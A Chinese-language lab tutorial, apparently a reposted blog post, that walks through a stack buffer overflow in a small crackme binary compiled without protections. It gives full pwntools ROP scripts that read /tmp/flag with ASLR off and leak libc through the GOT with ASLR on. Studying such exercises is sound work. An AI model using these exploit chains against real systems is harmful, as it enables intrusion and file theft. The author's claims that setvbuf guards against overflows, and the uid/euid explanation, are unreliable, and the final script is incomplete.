一、目标程序分析
main()函数分析
要进行劫持的目标程序如下
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
void start() {
printf("IOLI Crackme Level 0x00\n");
printf("Password:");
char buf[64];
memset(buf, 0, sizeof(buf));
read(0, buf, 256);
if (!strcmp(buf, "250382"))
printf("Password OK :)\n");
else
printf("Invalid Password!\n");
}
int main(int argc, char *argv[]) {
setreuid(geteuid(), geteuid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF,0);
start();
return 0;
}
主程序这里三段代码的功能都是进行简单的安全防护
setreuid(geteuid(), geteuid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF,0);
我们可以找到**geteuid()**与**setreuid()**函数的相关解释,简单来说,euid(有效用户)是创建程序的用户id,uid(真实用户)是运行程序过程中的用户id,一般情况下来说两者是相等的,但由于程序运行过程中某些操作可能需要更高的特权级来进行,于是这时的uid就会临时变为更高权限的用户id,比如root
所以这里的**setreuid()**将程序执行中的uid也设置为euid,为了避免特权级被非法的提升
getuid() : 函数返回一个调用程序的真实用户ID。表明当前运行位置程序的执行者。
geteuid(): 函数返回返回一个有效用户的ID。(EUID)是你最初执行程序时所用的ID,该ID
是程序的所有者。
setreuid(uid_t ruid, uid_t euid)用来将参数ruid 设为目前进程的真实用户识别码, 将参数euid 设置为目前进程的有效用户识别码. 如果参数ruid 或euid 值为-1, 则对应的识别码不会改变。
** ****setvbuf()**函数的定义如下
int setvbuf(
FILE *stream,
char *buffer,
int mode,
size_t size
);
是对stream流的缓冲区进行设置,在这里我们只需要关心其中的mode参数的含义,可以看到程序中使用的**_IONBF**是将缓冲区设置为无,这样的目的是可以部分防止缓冲区溢出漏洞
模式描述_IOFBF全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。_IOLBF行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。_IONBF无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。
start()函数
start()函数中我们要着重利用的只有三行
char buf[64];
memset(buf, 0, sizeof(buf));
read(0, buf, 256);
buf的空间大小只有64,而read函数读入了256字节大小的数据,这样的结果是多出来的数据将覆盖栈空间,最终覆盖返回地址,而只要精心构造溢出来的部分数据,我们就可以使程序执行我们想要的命令
二、关闭ASLR
在栈溢出时,我们想要知道栈溢出位置的具体地址,或者说是离基地址的距离,可以使用如下命令生成程序发生段错误时的core文件,core文件会记录发生错误时的内存、寄存器、栈信息等等,系统一般默认不生成core文件,我们用如下命令将core文件大小限制设置为无上限,这样每次发生段错误时都会生成一份core文件
ulimit -c unlimited
在安装pwntools后用cylic命令生成单一序列作为栈溢出的输入
在编译目标程序时,注意编译选项,我们需要关闭栈保护、关闭NX,并且选择生成32位程序
gcc -fno-stack-protector -z execstack -no-pie -g -m32 stack.c -o stack
编译生成程序后,我们使用上面生成的单一序列作为输入运行程序
用gdb调试core文件
gdb ./stack core
看到此时EIP的值被序列中的taaa覆盖
用cyclic -l命令查找taaa在序列中的位置为76,代表从buf基地址到返回位置的距离为76
所以在构造我们的payload即输入的数据时,前76个字符可以任意输入, 76之后则需要填入我们需要程序运行的代码片段,这里我们的目标是让程序打开并输出/tmp/flag文件中的内容,先通过c语言写出对应代码
read(0,buf,9); //从标准输入读取文件名
open(buf,0); //只读形式打开文件
read(3,buf,10); //从文件读取10个字符
//这里因为0 1 2三个文件描述符都被系统占用,所以新打开的文件描述符值一般为3
write(1,buf,10); //将buf中的10个字符输出到标准输出
关于多函数如何装入栈中以及为什么要加入pop-ret gadget可以参考多函数调用,以上四个函数以及其地址、参数在栈中大致是如下结构
address of READPPPR0address of BUF9 (len("/tmp/flag")address of OPENPPRaddress of BUF0addess of READPPPR3address of BUF10address of WRITEPPPR1address of BUF10address of EXIT 0xdeadbeef (标记)0
接下来的重点在于如何找到read、open、 write等等函数的地址,这里因为我们关闭了ASLR,所以可以通过pwntools提供的工具直接找到其地址
比如用gdb进入调试以后,用p read命令可以查看read函数的绝对地址为0xf7d0ade0
用readelf -a /usr/lib32/libc.so.6 | grep " read"命令查看read在LIBC中的相对地址,这里显示read的相对地址为0x0010ad90
用read的绝对地址减去相对地址就得到了LIBC的基地址,再通过类似命令查询出open、write、exit函数的相对地址,加上基地址就得到了我们需要函数的地址
然后是关于pop-ret gadget的地址获取,我们知道多函数调用时,一个函数有几个参数那么就需要几个pop来清空栈空间,所以至少需要知道pop-pop-ret、pop-pop-pop-ret两个gadget的地址,首先我们用ropper --file ./stack | grep "pop" | grep "ret" 命令来看目标程序中是否含有pop-ret的结构
可以看到有一个pop ebx;ret;的地址为0x0804901e,但我们需要两次或三次pop来清空栈,所以这明显是不够的,继续在LIBC里寻找pop-ret结构;我们执行ropper --file /usr/lib32/libc.so.6 | grep "pop" | grep "ret"命令
找到了pop-pop-ret 结构的地址为0x00189a5b,pop-pop-pop-ret的地址为0x00115832,由于这是在LIBC中的相对地址,在使用时还需要加上LIBC的基地址
最后一步是找到一块可以写的内存区域BUF,在gdb调试过程中执行vmmap --w命令,可以显示出可写的区域(如果输入vmmap后无效,把程序运行到中间位置再vmmap)
我们找到了一块在目标程序中的可写区域,一般为程序的data段,这里地址为0x804c000,我们将0x804c020作为BUF的地址(如果直接用0x804c000可能会有莫名其妙的问题)
到此为止所有需要的地址已经全部获得了,下面是构造的脚本代码
from pwn import *
p = process("./stack")
LIBC = 0xf7c00050
READ = LIBC+0x10ad90
OPEN = LIBC+0x10a870
WRITE = LIBC+0x10ae50
EXIT = LIBC+0x3bc40
PPPR = LIBC+0x00115832
PPR = LIBC+0x00189a5b
PR = 0x0804901e
payload = b'A' * 76
BUF = 0x804c020
#从标准流读入文件名到BUF
payload += p32(READ)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)
#打开文件
payload += p32(OPEN)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)
#读取文件内容到BUF
payload += p32(READ)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)
#将文件内容输出到标准流
payload += p32(WRITE)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(10)
#退出
payload += p32(EXIT)
payload += p32(0xdeadbeef)
payload += p32(2)
p.sendline(payload)
p.interactive()
三、开启ASLR
在开启ASLR后,LIBC的基地址将会变为随机,open、read、write、exit函数的地址将会随之变化,PPR与PPPR的地址是在LIBC库中获取的,所以也会动态改变,只有BUF的地址因为是在目标程序中获取的所以不会变化;重点在于如何动态的获取LIBC基地址
实际上是通过PLT表GOT表实现对LIBC地址的获取,关于PLT、GOT表的原理这里不再赘述,只需要知道的是,一个函数比如read在GOT表中的内容将会指向read的真正地址,所以我们需要做的是利用栈溢出,装入puts函数与read@got,利用程序将read@got指向的内容打印出来并接收,这样就获取到了read函数地址,同时read与LIBC相对地址是不变的,这样就得到了LIBC基地址,后续步骤与前面就再无二致了
在gdb调试中用disass start反汇编start函数来找到puts以及read的plt
但我们要的是read@got的值,所以继续用disass 0x8049050找到read@got的值
最后用disass main找到main函数的首地址就可以构造第一次payload
MAIN=0X804926b
num=76
payload_1 =b'A' * num
puts_plt=0x8049080
read_got=0x804c008
#让程序puts打印出read地址
payload_1 += p32(puts_plt)
payload_1 += p32(PR)
payload_1 += p32(read_got)
#装入main地址,让程序执行第二次
payload_1 += p32(MAIN)
p.sendline(payload_1)
#让程序在start函数最后!\n停止
p.recvuntil("!\n")
#接收四个字节,即read地址
PUTS=p.recv(4)
READ=int.from_bytes(PUTS,"little")
到此我们就获取到了read函数的地址,即代表着LIBC地址也获取到了,后面则直接重复关闭ASLR时的脚本步骤,直接上完整代码(这里忘了写PR、PPR、PPPR的地址了,可以自行添加)
from pwn import *
p = process("./stack_aslr")
MAIN=0X804926b
BUF=0X804C020
num=76
payload = b'A' * num
payload_1 = b'A' * num
puts_plt=0x8049080
read_got=0x804c008
#让程序puts打印出read地址
payload_1 += p32(puts_plt)
payload_1 += p32(PR)
payload_1 += p32(read_got)
#装入main地址,让程序执行第二次
payload_1 += p32(MAIN)
p.sendline(payload_1)
#让程序在start函数最后!\n停止
p.recvuntil("!\n")
#接收四个字节,即read地址
PUTS=p.recv(4)
READ=int.from_bytes(PUTS,"little")
LIBC = READ - 0x10ad90
OPEN=0x10a870+LIBC
WRITE=0x10ae50+LIBC
EXIT=0x3bc40+LIBC
#read
payload += p32(READ)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)
#open
payload += p32(OPEN)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)
#read
payload += p32(READ)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)
#write
payload += p32(WRITE)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(5)
#exit
payload += p32(EXIT)
payload += p32(0xdeadbeef)
payload += p32(1)
p.sendline(payload)
p.interactive()
版权归原作者 gigawizard 所有, 如有侵权,请联系我们删除。